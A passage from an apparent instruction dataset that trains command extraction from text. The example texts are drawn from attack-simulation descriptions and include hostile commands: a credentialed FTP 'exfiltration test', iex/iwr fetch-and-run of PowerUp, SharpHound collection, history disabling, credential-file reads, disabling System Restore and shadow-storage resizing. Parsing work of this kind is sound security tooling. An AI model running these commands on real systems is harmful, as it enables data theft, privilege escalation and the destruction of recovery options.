extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To simulate an encrypted file transfer to an FTP server, you can use the following command, which creates sample data and uploads it to the specified FTP server: $sampleData = \"Sample data for exfiltration test\"\nSet-Content -Path \"#{sampleFile}\" -Value $sampleData\n$ftpUrl = \"#{ftpServer}\"\n$creds = Get-Credential -Credential \"#{credentials}\"\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \"#{sampleFile}\" -Credential $creds\n; For downloading an image from a specified URL and making it your desktop background, use this command: $url = \"#{url_of_wallpaper}\"\n$imgLocation = \"#{wallpaper_location}\"\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\Control Panel\\Desktop\\' -Name WallPaper).WallPaper\n$orgWallpaper | Out-File -FilePath \"#{pointer_to_orginal_wallpaper}\"\n$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n public class Wallpaper{ \n [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n \n public static void SetWallpaper(string thePath){ \n SystemParametersInfo(20,0,thePath,3); \n }\n }\n} \n'@\n$wc = New-Object System.Net.WebClient \ntry{ \n $wc.DownloadFile($url, $imgLocation)\n add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \ncatch [System.Net.WebException]{ \n Write-Host(\"Cannot download $url\") \n add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \nfinally{ \n $wc.Dispose() \n}\n", "output": "{\"command_list\": [\"$sampleData = \\\"Sample data for exfiltration test\\\"\\nSet-Content -Path \\\"#{sampleFile}\\\" -Value $sampleData\\n$ftpUrl = \\\"#{ftpServer}\\\"\\n$creds = Get-Credential -Credential \\\"#{credentials}\\\"\\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \\\"#{sampleFile}\\\" -Credential $creds\\n\", \"$url = \\\"#{url_of_wallpaper}\\\"\\n$imgLocation = \\\"#{wallpaper_location}\\\"\\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\\' -Name WallPaper).WallPaper\\n$orgWallpaper | Out-File -FilePath \\\"#{pointer_to_orginal_wallpaper}\\\"\\n$updateWallpapercode = @' \\nusing System.Runtime.InteropServices; \\nnamespace Win32{\\n\\n public class Wallpaper{ \\n [DllImport(\\\"user32.dll\\\", CharSet=CharSet.Auto)] \\n static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \\n \\n public static void SetWallpaper(string thePath){ \\n SystemParametersInfo(20,0,thePath,3); \\n }\\n }\\n} \\n'@\\n$wc = New-Object System.Net.WebClient \\ntry{ \\n $wc.DownloadFile($url, $imgLocation)\\n add-type $updateWallpapercode \\n [Win32.Wallpaper]::SetWallpaper($imgLocation)\\n} \\ncatch [System.Net.WebException]{ \\n Write-Host(\\\"Cannot download $url\\\") \\n add-type $updateWallpapercode \\n [Win32.Wallpaper]::SetWallpaper($imgLocation)\\n} \\nfinally{ \\n $wc.Dispose() \\n}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When successfully performed, this attack vector will launch Microsoft Word with a blank document via the command: FOR /F \"tokens=2*\" %a in ('reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Winword.exe\" /V PATH') do set microsoft_wordpath=%b\ncall \"%microsoft_wordpath%\\protocolhandler.exe\" \"ms-word:nft|u|#{remote_url}\"; This attack simulation involves a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly to start calc.exe, which can be executed via the command: &\"#{renamed_binary}\" \"#{xml_payload}\" output.txt", "output": "{\"command_list\": [\"FOR /F \\\"tokens=2*\\\" %a in ('reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Winword.exe\\\" /V PATH') do set microsoft_wordpath=%b\\ncall \\\"%microsoft_wordpath%\\\\protocolhandler.exe\\\" \\\"ms-word:nft|u|#{remote_url}\\\"\\n\", \"&\\\"#{renamed_binary}\\\" \\\"#{xml_payload}\\\" output.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To discover containers and resources in a containerized environment, adversaries can execute the following commands: podman build -t t1613 $PathtoAtomicsFolder/T1613/src/\npodman run --name t1613_container --rm -d -t t1613\npodman ps\npodman stats --no-stream\npodman inspect $(podman ps -l -q --filter ancestor=t1613); To disable history collection in shells and execute another command, use the following: export HISTCONTROL=ignoreboth\n#{evil_command}\n", "output": "{\"command_list\": [\"podman build -t t1613 $PathtoAtomicsFolder/T1613/src/\\npodman run --name t1613_container --rm -d -t t1613\\npodman ps\\npodman stats --no-stream\\npodman inspect $(podman ps -l -q --filter ancestor=t1613)\", \"export HISTCONTROL=ignoreboth\\n#{evil_command}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To check for unattend.xml files in the Panther directory, which may contain installation credentials, use the following command:\ntype C:\\Windows\\Panther\\unattend.xml\ntype C:\\Windows\\Panther\\Unattend\\unattend.xml\n; To search for .netrc files containing GitHub credentials in plain text and display their contents, use the following command: for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done", "output": "{\"command_list\": [\"type C:\\\\Windows\\\\Panther\\\\unattend.xml\\ntype C:\\\\Windows\\\\Panther\\\\Unattend\\\\unattend.xml\\n\", \"for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To disable system restore on the computer, modify the registry of the currently logged-in user by executing the following commands via cmd console: \nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\n; A precursor to deleting shadowstorage is resizing it, which adversaries achieve via the command: vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%", "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\" /v \\\"DisableConfig\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\" /v \\\"DisableSR\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\" /v \\\"DisableConfig\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\" /v \\\"DisableSR\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\n\", \"vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To display the implemented domain password policy, run this command: get-addefaultdomainpasswordpolicy; The local security policy can be exported by executing this command: secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt", "output": "{\"command_list\": [\"get-addefaultdomainpasswordpolicy\\n\", \"secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For capturing raw packets with AF_PACKET domain and SOCK_RAW type for a brief period while filtering UDP traffic, execute this command: sudo #{program_path} -a -f -t 3; The PowerShell cmdlets for network packet capture can be used with the following command block: New-NetEventSession -Name Capture007 -LocalFilePath \"$ENV:Temp\\\\sniff.etl\"\nAdd-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100\nStart-NetEventSession -Name Capture007\nStop-NetEventSession -Name Capture007\nRemove-NetEventSession -Name Capture007\n", "output": "{\"command_list\": [\"sudo #{program_path} -a -f -t 3\\n\", \"New-NetEventSession -Name Capture007 -LocalFilePath \\\"$ENV:Temp\\\\sniff.etl\\\"\\nAdd-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100\\nStart-NetEventSession -Name Capture007\\nStop-NetEventSession -Name Capture007\\nRemove-NetEventSession -Name Capture007\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they 